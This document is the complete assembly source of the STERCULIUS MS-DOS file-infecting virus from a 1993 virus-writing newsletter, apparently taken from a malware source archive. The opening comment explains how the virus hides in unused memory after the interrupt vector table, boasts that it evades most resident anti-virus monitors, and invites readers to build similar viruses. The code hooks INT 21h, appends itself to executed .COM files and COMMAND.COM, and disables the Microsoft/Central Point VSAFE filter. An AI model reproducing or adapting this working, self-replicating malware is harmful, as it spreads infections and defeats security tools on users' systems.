MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.sterculi.asm

comment $

STERCULIUS virus: copying a virus into the air in the interrupt
vector table - for CRYPT NEWSLETTER 18.

The STERCULIUS virus uses the 'hole' in DOS's memory that is
found after the interrupt vector table located at 0000:0000 in memory.
This hole in memory is unused much of the time and is filled with
'00''s, or "air", starting at 0000:01E0.

Using the MS-DOS program DEBUG we can take a quick look at this
empty space by typing the command:
     
     DEBUG
     d 0000:01e0

And we see:

0000:01E0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
0000:01F0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
0000:0200  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
0000:0210  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
0000:0220  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
0000:0230  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
0000:0240  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
0000:0250  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................

Not much of anything! 

The LoveChild virus uses the same space and if it were present
in memory (not likely, as it barely works under DOS 3.3),
you'd see something like "v2 LoveChild in reward for software
sealing [sic]" or some similar gibber in the above display.

Sterculius copies itself to segment:offset 0000:01E0 in memory, 
right next to the end of the data in the interrupt vector table,
like LoveChild and if we fire up DEBUG again once the virus
is in memory:

0000:01E0  E8 0A 00 53 54 45 52 43-55 4C 49 55 53 5E 83 EE   ...STERCULIUS^..
0000:01F0  03 56 FC 83 C6 55 90 BF-00 01 A5 A5 5E 33 C0 8E   .V...U......^3..
0000:0200  C0 BF E0 01 26 81 7D 03-53 54 74 1E B9 08 01 90   ....&.}.STt.....
0000:0210  F3 A4 BE 84 00 8E D8 A5-A5 BF E0 01 83 C7 63 90   ..............c.
0000:0220  FA 89 7C FC 89 44 FE FB-0E 1F 0E 07 BE 00 01 56   ..|..D.........V
0000:0230  C3 E9 00 00 53 4D 5A 63-01 9C 2E FF 1E E8 02 C3   ....SMZc........
0000:0240  E9 A4 00 80 FC 4B 75 F8-50 53 51 52 1E 06 56 57   .....Ku.PSQR..VW
0000:0250  55 9C B8 00 43 E8 E1 FF-51 1E 52 33 C9 B8 01 43   U...C...Q.R3...C

Four!

Without the marker, "STERCULIUS," the virus would be difficult 
for the user to see in memory for a couple of reasons: 

1) Very few people actually know what system memory in the interrupt 
   table looks like normally,

2) It is not a place any of the current memory spies tell you to look for 
   viruses.  

IF you scan up the rest of the table you will see the remainder of the 
virus and about once again as much free space left.  
That means you can fit about a 300+ byte virus into this space, plenty 
of room for lots of extra code.

If you look again at the DEBUG dump you will see "MZ" - 
that is DEBUG's EXEfile identifier - the first word Sterculius pulls off of 
any executed program to check if it's a suitable candidate for infection.  

Sterculius stores the word and in the case of DEBUG, lets the program pass by.
If a .COMfile had just been loaded, the original program's jump would 
be occupying that space.

Clear?  
Now you can follow this example to make memory resident viruses that occupy
that 'hole' in memory next to the  interrupt vector table.

Viruses using this method of residence aren't detected by 
98% of the anti-virus guards - or virus filters - specifically designed 
to detect programs which go resident. This is odd, since the technique 
isn't particularly new.  However, one or two anti-virus manufacturers
have taken steps in this direction, coding their memory filters so
that some of their code occupies the same general area that a virus
like STERCULIUS might use.  Then again, these developers have to
deal with users who may have memory management drivers which muck
about in the same space.  You see, there are always trade-offs
in this kind of work.

Try STERCULIUS with Central Point, Microsoft Anti-virus, something dumb 
like INVIRCBLE, or just about any TYPICAL resident monitor.  
STERCULIUS also contains the "casual" anti-anti-virus measure, VSLAY,
which will under optimum conditions, deinstall the Microsoft Anti-virus
resident filter.

Interesting!  

Many lazy people have grown fond of McAfee Associates PROVIEW, too.  
It's good for checking up on viruses in memory because it puts a 
big <UNKNOWN> message on the screen when a virus is taking up space at 
the top of conventional RAM.  

You won't see STERCULIUS using this technique, nor will a look at where 
INT 21 is pointing under PROVIEW tell the dilettante much.  

Proview will show you the interrupt is still pointing into the table, where 
it belongs.  
You'll have to look close to see that the original address has changed!

STERCULIUS has been tested under QEMM 7.0 and QEMM 6.0 but there is
always the probability that it will crash on other multi-tasking systems 
which use other memory managers. 


Often, you see, they use the space where STERCULIUS resides.  

If this is the case, they system will hang when STERCULIUS invades it.  
You can alter this behavior by looking at the interrupt vector table on your 
system and altering where STERCULIUS copies itself into memory by moving 
the virus up in RAM.

Also, this method of residency has an indirect benefit.  
STERCULIUS can't be properly DEBUGGED by ZD86 because they conflict
over the same memory space.

STERCULIUS infects COMMAND.COM quite easily and doesn't interfere
with boot up.  However, since COMMAND.COM overwrites the space
STERCULIUS is using at boot time, the virus is expunged from memory
on completion of system installation.  Shelling anytime thereafter
reinstalls the virus. Reloading the transient portion of COMMAND.COM
doesn't interfere with the virus either.
 

$

;**************************************
;            STERCULIUS VIRUS
;
; AUTHORS: K<>hntark / Urnst Kouch
; DATE:    SEPTEMBER 1993
;
;**************************************

.model tiny
.code
		org 100h

START:                                                 
		db      0E9h,03,00,'S'   ;Jump to Virus_Entry

FAKE_HOST:                                
		int     20h              ;host file terminate


VIRUS_ENTRY:

		call    INITIALIZE

ID:             db      'STERCULIUS'      ;The Roman god of feces
					  ;intellectual property of Mike
INITIALIZE:                               ;Judge, sort of, and if this
		pop     si                ;means nothing to you, then you're
		sub     si,3              ;not paying attention

;*****************                
; Restore host
;*****************
		
		push    si
		cld
		add     si,OFFSET HOST_STUB - OFFSET VIRUS_ENTRY
		mov     di,0100h
		movsw
		movsw
		pop     si

;***************************                
; Remove MSAV / CPAV VSAFE    ;<---VSLAY, Crypt Newsletter 15 [ref]
;***************************
	    
	    mov  dx,5945h
	    mov  ax,0FA01h    ;AL=01 very important!
	    int  21h

;***************************                
; Check if already resident
;***************************

		xor     ax,ax
		mov     es,ax  
		mov     di,01E0h
		cmp     WORD PTR es:[di + 3],'TS'
		je      EXIT
		
		mov     cx,ZIZE
		rep     movsb           ;move virus to 0000:01E0 from ds:si
		
;***********************                
; Mov INT 21 address
;***********************

		mov     si,21h * 4
		mov     ds,ax        ;ds=0
		movsw                ;from ds:si to es:di
		movsw 
		
;***********************                
;  Hook INT 21
;***********************

		mov     di,01E0h
		add     di,OFFSET INT_21_HANDLER - OFFSET VIRUS_ENTRY
		cli                           ;disable interrupts
		mov     WORD PTR [si - 4],di  ;address of INT 21 handler
		mov     WORD PTR [si - 2],ax  
		sti                           ;enable interrupts  

		push    cs
		pop     ds
EXIT:           push    cs
		pop     es         
		mov     si,0100h
		push    si
	       ;push    0100h       ;386 code left out
		ret                 ;return to host

;----------------------------------------------------------------------------

NEW_HOST_ENTRY:
		db      0E9h,00,00,'S'

HOST_STUB:
		db  090h,090h,090h,090h ;nops

INT_21:
		pushf  
		call  DWORD PTR cs:[REALL_INT_21]
		ret
		 
QUICK_EXIT:     jmp     QUICK_OUT

;----------------------------------------------------------------------------
INT_21_HANDLER:

		 cmp     ah,4Bh           ;execute a file?
		 jne     QUICK_EXIT       ;quick exit handler
		 
		 push ax
		 push bx
		 push cx
		 push dx
		 push ds
		 push es
		 push si
		 push di
		 push bp
		 pushf

;***********************                
;  Save Attributes
;***********************

		 mov     ax,4300h
		 call    INT_21
		 jc      SKIP
		 push    cx         ;save attributes to stack
		 push    ds
		 push    dx         ;ds:dx = pathname to file


;***********************                
;  Klear Attributes
;***********************

		 xor     cx,cx
		 mov     ax,4301h
		 call    INT_21
SKIP:            jc      RESTORE_ATTRIBUTES

;***********************                
;  Open File
;***********************

		 mov     ax,3D02h
		 call    INT_21
		 jc      RESTORE_ATTRIBUTES
		 xchg    bx,ax         ;file handle to bx

;***********************                
;  Save Date & time
;***********************
		 
		 mov   ax,5700h
		 call  INT_21
		 push  dx              ;save date
		 push  cx              ;save time

;***********************                
;  Read 4 bytes
;***********************

		mov     cx,04                ;# of bytes to read
		mov     dx,HOST_STUBB        ;buffer to read 4 bytes to
		mov     si,dx
		mov     ah,3Fh
		push    cs 
		pop     ds                   ;ds=cs
		call    INT_21               ;read to ds:dx
		jc      CLOSE_FILE

;***********************                
;  Check File
;***********************

		cmp     WORD PTR [si],'ZM'     ;EXE file?
		je      CLOSE_FILE
		cmp     BYTE PTR [si + 3],'S'  ;infected COM file?
		je      CLOSE_FILE
		
;***********************                
;  File PTR @EOF
;***********************
		
		mov     ax,4202h
		xor     cx,cx
		cwd               ;cx = dx = 00
		call    INT_21

		sub     ax,03     ;fix file size 
		xchg    bp,ax     ;address to jump to
		
		add     ax,ZIZE       ;file + VIRUS SIZE > 64K?
		jc      CLOSE_FILE    ;exit if so

;***********************                
;  Write Virus
;***********************

	       mov     ah,40h
	       mov     cx,ZIZE    ;cx = #of bytes
	       mov     dx,01E0h   ;dx = write from here
	       call    INT_21

;***********************                
;  Set PTR @BOF
;***********************
		
	       mov     ax,4200h  
	       xor     cx,cx
	       cwd               ;cx = dx = 00
	       call    INT_21

;***********************                
;  Write new jump
;***********************

	       mov     ah,40h
	       mov     cx,4                      ; # of bytes to write
	       mov     dx,NEW_HOST_ENTRYY        ;dx = write from here
	       mov     si,dx

	       mov     WORD PTR [si + 1],bp      ;insert new address
	       call    INT_21

CLOSE_FILE:                
		
;***********************                
;  Restore Date & time
;***********************
		 
	       pop   cx       ;restore time
	       pop   dx       ;restore date
	       mov   ax,5701h
	       call  INT_21

;***********************                
;  Klose File
;***********************
	       
	       mov     ah,3Eh 
	       call    INT_21
		 
;***********************                
;  Restore Attributes
;***********************

RESTORE_ATTRIBUTES:
	       
	       mov     ax,4301h
	       pop     dx         ;ds:dx = pathname to file
	       pop     ds         ;restore pathname
	       pop     cx         ;restore old attributes
	       call    INT_21

;***********************                
;  Restore registers
;***********************

EXIT_HANDLER:                   
		 popf
		 pop  bp
		 pop  di
		 pop  si
		 pop  es
		 pop  ds
		 pop  dx
		 pop  cx
		 pop  bx
		 pop  ax
		
QUICK_OUT:       db   0EAh       ; jmp OFFSET:SEGMENT
END_VIRUS:                
REAL_INT_21:


ZIZE             equ     OFFSET END_VIRUS              - VIRUS_ENTRY 
REALL_INT_21     equ     01E0h + OFFSET REAL_INT_21    - OFFSET VIRUS_ENTRY
HOST_STUBB       equ     01E0h + OFFSET HOST_STUB      - OFFSET VIRUS_ENTRY     
NEW_HOST_ENTRYY  equ     01E0h + OFFSET NEW_HOST_ENTRY - OFFSET VIRUS_ENTRY

END             START